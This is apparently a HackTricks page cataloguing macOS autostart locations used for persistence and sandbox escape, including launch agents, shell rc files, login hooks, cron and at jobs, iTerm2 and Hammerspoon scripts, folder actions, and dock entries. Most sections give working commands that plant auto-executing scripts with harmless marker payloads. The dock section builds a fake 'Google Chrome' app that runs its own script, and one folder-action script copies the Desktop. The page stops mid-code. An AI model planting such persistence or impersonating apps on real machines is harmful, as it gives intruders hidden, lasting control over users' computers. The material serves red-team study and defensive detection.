# macOS Auto Start
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - πŸŽ™οΈ Twitch πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
This section is heavily based on the blog series [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), the goal is to add **more Autostart Locations** (if possible), indicate **which techniques are still working** nowadays with latest version of macOS (13.4) and to specify the **permissions** needed. ## Sandbox Bypass {% hint style="success" %} Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **waiting** for a very **common** **action**, a determined **amount of time** or an **action you can usually perform** from inside a snadbox without needing root permissions. {% endhint %} ### Launchd * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) #### Locations * **`/Library/LaunchAgents`** * **Trigger**: Reboot * Root required * **`/Library/LaunchDaemons`** * **Trigger**: Reboot * Root required * **`/System/Library/LaunchAgents`** * **Trigger**: Reboot * Root required * **`/System/Library/LaunchDaemons`** * **Trigger**: Reboot * Root required * **`~/Library/LaunchAgents`** * **Trigger**: Relog-in * **`~/Library/LaunchDemons`** * **Trigger**: Relog-in #### Description & Exploitation **`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: * `/Library/LaunchAgents`: Per-user agents installed by the admin * `/Library/LaunchDaemons`: System-wide daemons installed by the admin * `/System/Library/LaunchAgents`: Per-user agents provided by Apple. * `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. ```xml Label com.apple.someidentifier ProgramArguments bash -c 'touch /tmp/launched' RunAtLoad StartInterval 800 KeepAlive SuccessfulExit ``` There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). {% hint style="info" %} New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` {% endhint %} List all the agents and daemons loaded by the current user: ```bash launchctl list ``` ### shell startup files Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) #### Locations * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv`, `~/.zprofile`** * **Trigger**: Open a terminal with zsh * **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** * **Trigger**: Open a terminal with zsh * Root required * **`~/.zlogout`** * **Trigger**: Exit a terminal with zsh * **`/etc/zlogout`** * **Trigger**: Exit a terminal with zsh * Root required * Potentially more in: **`man zsh`** * **`~/.bashrc`** * **Trigger**: Open a terminal with bash * `/etc/profile` (didn't work) * `~/.profile` (didn't work) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` * **Trigger**: Expected to trigger with xterm, but it **isn't installed** and even after installed this error is thrown: xterm: `DISPLAY is not set` #### Description & Exploitation Shell startup files are executed when our shell environment like `zsh` or `bash` is **starting up**. macOS defaults to `/bin/zsh` these days, and **whenever we open `Terminal` or SSH** into the device, this is the shell environment we are placed into. `bash` and `sh` are still available, however they have to be specifically started. The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` ### Re-opened Applications {% hint style="danger" %} Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) #### Location * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** * **Trigger**: Restart reopening applications #### Description & Exploitation All the applications to reopen are inside the plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` So, make the reopen applications launch your own one, you just need to **add your app to the list**. The UUID can be found listing that directory or with `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` To check the applications that will be reopened you can do: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` To **add an application to this list** you can use: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` ### Terminal In **`~/Library/Preferences`** are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to **execute other applications/scripts**. For example, the Terminal can execute a command in the Startup:
This config is reflected in the file **`~/Library/Preferences/com.apple.Terminal.plist`** like this: ```bash [...] "Window Settings" => { "Basic" => { "CommandString" => "touch /tmp/terminal_pwn" "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } "FontAntialias" => 1 "FontWidthSpacing" => 1.004032258064516 "name" => "Basic" "ProfileCurrentVersion" => 2.07 "RunCommandAsShell" => 0 "type" => "Window Settings" } [...] ``` So, if the plist of the preferences of the terminal in the system could be overwritten, the the **`open`** functionality can be used to **open the terminal and that command will be executed**. You can add this from the cli with: {% code overflow="wrap" %} ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` {% endcode %} ### Audio Plugins Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) #### Location * **`/Library/Audio/Plug-Ins/HAL`** * Root required * **Trigger**: Restart coreaudiod or the computer * **`/Library/Audio/Plug-ins/Components`** * Root required * **Trigger**: Restart coreaudiod or the computer * **`~/Library/Audio/Plug-ins/Components`** * **Trigger**: Restart coreaudiod or the computer * **`/System/Library/Components`** * Root required * **Trigger**: Restart coreaudiod or the computer #### Description According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. ### QuickLook Plugins Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) #### Location * `/System/Library/QuickLook` * `/Library/QuickLook` * `~/Library/QuickLook` * `/Applications/AppNameHere/Contents/Library/QuickLook/` * `~/Applications/AppNameHere/Contents/Library/QuickLook/` #### Description & Exploitation QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. It's possible to compile your own QuickLook plugin, place it in one of the prevous locations to load it and then go to a supported file and press space to trigger it. ### ~~Login/Logout Hooks~~ {% hint style="danger" %} This didn't work for me, neither with the user LoginHook nor with the root LogoutHook {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) #### Location * You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` * `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` They are deprecated but can be used to execute commands when a user logs in. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash echo 'My is: \`id\`' > /tmp/login_id.txt EOF chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { LoginHook = "/Users/username/hook.sh"; LogoutHook = "/Users/username/hook.sh"; MiniBuddyLaunch = 0; TALLogoutReason = "Shut Down"; TALLogoutSavesState = 0; oneTimeSSMigrationComplete = 1; } ``` To delete it: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** ## Conditional Sandbox Bypass {% hint style="success" %} Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **expecting not super common conditions** like specific **programs installed, "uncommon" user** actions or environments. {% endhint %} ### Cron **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) * However, you need to be able to execute `crontab` binary * Or be root #### Location * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** * Root required for direct write access. No root required if you can execute `crontab ` * **Trigger**: Depends on the cron job #### Description & Exploitation List the cron jobs of the **current user** with: ```bash crontab -l ``` You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). In MacOS several folders executing scripts with **certain frequency** can be found in: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. To add a **user cronjob programatically** it's possible to use: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) #### Locations * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** * **Trigger**: Open iTerm * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** * **Trigger**: Open iTerm * **`~/Library/Preferences/com.googlecode.iterm2.plist`** * **Trigger**: Open iTerm #### Description & Exploitation Scripts stored in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** will be executed. For example: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash touch /tmp/iterm2-autolaunch EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` The script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** will also be executed: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` The iTerm2 preferences located in **`~/Library/Preferences/com.googlecode.iterm2.plist`** can **indicate a command to execute** when the iTerm2 terminal is opened. This setting can be configured in the iTerm2 settings:
And the command is reflected in the preferences: ```bash plutil -p com.googlecode.iterm2.plist { [...] "New Bookmarks" => [ 0 => { [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` You can set the command to execute with: {% code overflow="wrap" %} ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist # Call iTerm open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` {% endcode %} {% hint style="warning" %} Highly probable there are **other ways to abuse the iTerm2 preferences** to execute arbitrary commands. {% endhint %} ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) * But xbar must be installed #### Location * **`~/Library/Application\ Support/xbar/plugins/`** * **Trigger**: Once xbar is executed ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) * But Hammerspoon must be installed #### Location * **`~/.hammerspoon/init.lua`** * **Trigger**: Once hammerspoon is executed #### Description [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) is an automation tool, that allows **macOS scripting through LUA scripting language**. We can even embed full AppleScript code as well as run shell scripts. The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed. ```bash cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("id > /tmp/hs.txt") EOF ``` ### SSHRC Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) * But ssh needs to be enabled and used #### Location * **`~/.ssh/rc`** * **Trigger**: Login via ssh * **`/etc/ssh/sshrc`** * Root required * **Trigger**: Login via ssh #### Description & Exploitation By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **logins via SSH** the scripts **`/etc/ssh/sshrc`** and **`~/.ssh/rc`** will be executed. #### Description If the popular program [**xbar**](https://github.com/matryer/xbar) is installed, it's possible to write a shell script in **`~/Library/Application\ Support/xbar/plugins/`** which will be executed when xbar is started: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` ### **Login Items** Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) * But you need to execute `osascript` with args #### Locations * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** * **Trigger:** Login * Exploit payload stored calling **`osascript`** * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** * **Trigger:** Login * Root required #### Description In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ It it's possible to list them, add and remove from the command line: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' #Add an item: osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}' #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` These items are stored in the file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** **Login items** can **also** be indicated in using the API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) which will store the configuration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** ### ZIP as Login Item (Check previos section about Login Items, this is an extension) If you store a **ZIP** file as a **Login Item** the **`Archive Utility`** will open it and if the zip was for example stored in **`~/Library`** and contained the Folder **`LaunchAgents/file.plist`** with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the **backdoor indicated in the plist will be executed**. Another options would be to create the files **`.bash_profile`** and **`.zshenv`** inside the user HOME so if the folder LaunchAgents already exist this technique would still work. ### At Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) #### Location * Need to **execute** **`at`** and it must be **enabled** #### **Description** β€œAt tasks” are used to **schedule tasks at specific times**.\ These tasks differ from cron in that **they are one time tasks** t**hat get removed after executing**. However, they will **survive a system restart** so they can’t be ruled out as a potential threat. By **default** they are **disabled** but the **root** user can **enable** **them** with: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` This will create a file in 1 hour: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` Check the job queue using `atq:` ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` Above we can see two jobs scheduled. We can print the details of the job using `at -c JOBNUMBER` ```shell-session sh-3.2# at -c 26 #!/bin/sh # atrun uid=0 gid=0 # mail csaby 0 umask 22 SHELL=/bin/sh; export SHELL TERM=xterm-256color; export TERM USER=root; export USER SUDO_USER=csaby; export SUDO_USER SUDO_UID=501; export SUDO_UID SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK __CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING MAIL=/var/mail/root; export MAIL PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH PWD=/Users/csaby; export PWD SHLVL=1; export SHLVL SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND HOME=/var/root; export HOME LOGNAME=root; export LOGNAME LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { echo 'Execution directory inaccessible' >&2 exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` {% hint style="warning" %} If AT tasks aren't enabled the created tasks won't be executed. {% endhint %} The **job files** can be found at `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 -rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ -rw------- 1 root wheel 0 Apr 26 23:17 .lockfile -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at `a0001a019bdcd2`. * `a` - this is the queue * `0001a` - job number in hex, `0x1a = 26` * `019bdcd2` - time in hex. It represents the minutes passed since epoch. `0x019bdcd2` is `26991826` in decimal. If we multiply it by 60 we get `1619509560`, which is `GMT: 2021. April 27., Tuesday 7:46:00`. If we print the job file, we find that it contains the same information we got using `at -c`. ### Folder Actions Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) * But you need to be able to call osascript with arguments and be able to configure Folder Actions #### Location * **`/Library/Scripts/Folder Action Scripts`** * Root required * **Trigger**: Access to the specified folder * **`~/Library/Scripts/Folder Action Scripts`** * **Trigger**: Access to the specified folder #### Description & Exploitation A Folder Action script is executed when the folder to which it is attached has items added or removed, or when its window is opened, closed, moved, or resized: * Open the folder via the Finder UI * Add a file to the folder (can be done via drag/drop or even in a shell prompt from a terminal) * Remove a file from the folder (can be done via drag/drop or even in a shell prompt from a terminal) * Navigate out of the folder via the UI There are a couple ways to implement this: 1. Use the [Automator](https://support.apple.com/guide/automator/welcome/mac) program to create a Folder Action workflow file (.workflow) and install it as a service. 2. Right-click on a folder, select `Folder Actions Setup...`, `Run Service`, and manually attach a script. 3. Use OSAScript to send Apple Event messages to the `System Events.app` to programmatically query and register a new `Folder Action.` * This is the way to implement persistence using an OSAScript to send Apple Event messages to `System Events.app` This is the script that will be executed: {% code title="source.js" %} ```applescript var app = Application.currentApplication(); app.includeStandardAdditions = true; app.doShellScript("touch /tmp/folderaction.txt"); app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` {% endcode %} Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` Then execute the following script to enable Folder Actions and attach the previously compiled script with the folde **`/users/username/Desktop`**: ```javascript var se = Application("System Events"); se.folderActionsEnabled = true; var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"}); var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"}); se.folderActions.push(fa); fa.scripts.push(myScript); ``` Execute script with: `osascript -l JavaScript /Users/carlospolop/attach.scpt` * This is the way yo implement this persistence via GUI: This is the script that will be executed: {% code title="source.js" %} ```applescript var app = Application.currentApplication(); app.includeStandardAdditions = true; app.doShellScript("touch /tmp/folderaction.txt"); app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` {% endcode %} Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` Move it to: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` Then, open the `Folder Actions Setup` app, select the **folder you would like to watch** and select in your case **`folder.scpt`** (in my case I called it output2.scp):
Now, if you open that folder with **Finder**, your script will be executed. This configuration was stored in the **plist** located in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64 format. Now, lets try to prepare this persistence without GUI access: 1. **Copy `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** to `/tmp` to backup it: * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` 2. **Remove** the Folder Actions you just set:
Now that we have an empty environment 3. Copy the backup file: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` 4. Open the Folder Actions Setup.app to consume this config: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` {% hint style="danger" %} And this didn't work for me, but those are the instructions from the writeup:( {% endhint %} ### Spotlight Importers Writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you will end in a new one #### Location * **`/Library/Spotlight`** * **`~/Library/Spotlight`** #### Description You will end up in a **heavy sandbox**, so you probably don't want to use this technique. ### Dock shortcuts Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) * Useful to bypass sandbox: [βœ…](https://emojipedia.org/check-mark-button) * But you need to have installed a malicious application inside the system #### Location * `~/Library/Preferences/com.apple.dock.plist` * **Trigger**: When the user clicks on the app inside the dock #### Description & Exploitation All the applications that appear in the Dock are specified inside the plist: **`~/Library/Preferences/com.apple.dock.plist`** It's possible to **add an application** just with: {% code overflow="wrap" %} ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' # Restart Dock killall Dock ``` {% endcode %} Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script: ```bash #!/bin/sh # THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON) rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null # Create App structure mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources # Payload to execute echo '#!/bin/sh open /Applications/Google\ Chrome.app/ & touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome # Info.plist cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist CFBundleExecutable Google Chrome CFBundleIdentifier com.google.Chrome CFBundleName Google Chrome CFBundleVersion 1.0 CFBundleShortVersionString 1.0 CFBundleInfoDictionaryVersion 6.0 CFBundlePackageType APPL CFBundleIconFile app EOF # Copy icon from Google Chrome cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns # Add to Dock defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` ### Color Pickers Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * A very specific action needs to happen * You will end in another sandbox #### Location * `/Library/ColorPickers` * Root required * Trigger: Use the color picker * `~/Library/ColorPickers` * Trigger: Use the color picker #### Description & Exploit **Compile a color picker** bundle with your code (you could use [**this one for example**](https://github.com/viktorstrate/color-picker-plus)) and add a constructor (like in the [Screen Saver section](macos-auto-start-locations.md#screen-saver)) and copy the bundle to `~/Library/ColorPickers`. Then, when the color picker is triggered your should should be aswell. Note that the binary loading your library has a **very restrictive sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` {% code overflow="wrap" %} ```bash [Key] com.apple.security.temporary-exception.sbpl [Value] [Array] [String] (deny file-write* (home-subpath "/Library/Colors")) [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) [String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` {% endcode %} ### Finder Sync Plugins **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ **Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) * Useful to bypass sandbox: **No, because you need to execute your own app** #### Location * A specific app #### Description & Exploit An application example with a Finder Sync Extension [**can be found here**](https://github.com/D00MFist/InSync). Applications can have `Finder Sync Extensions`. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it **must be signed** with some valid Apple developer certificate, it must be **sandboxed** (although relaxed exceptions could be added) and it must be registered with something like: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` ### Screen Saver Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you will end in a common application sandbox #### Location * `/System/Library/Screen Savers` * Root required * **Trigger**: Select the screen saver * `/Library/Screen Savers` * Root required * **Trigger**: Select the screen saver * `~/Library/Screen Savers` * **Trigger**: Select the screen saver
#### Description & Exploit Create a new project in Xcode and select the template to generate a new **Screen Saver**. Then, are your code to it, for example the following code to generate logs. **Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: {% code overflow="wrap" %} ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' Timestamp (process)[PID] 2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **) 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` {% endcode %} {% hint style="danger" %} Note that because inside the entitlements of the binary that loads this code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) you can find **`com.apple.security.app-sandbox`** you will be **inside the common application sandbox**. {% endhint %} Saver code: ```objectivec // // ScreenSaverExampleView.m // ScreenSaverExample // // Created by Carlos Polop on 27/9/23. // #import "ScreenSaverExampleView.h" @implementation ScreenSaverExampleView - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); self = [super initWithFrame:frame isPreview:isPreview]; if (self) { [self setAnimationTimeInterval:1/30.0]; } return self; } - (void)startAnimation { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super startAnimation]; } - (void)stopAnimation { NSLog(@"hello_screensaver 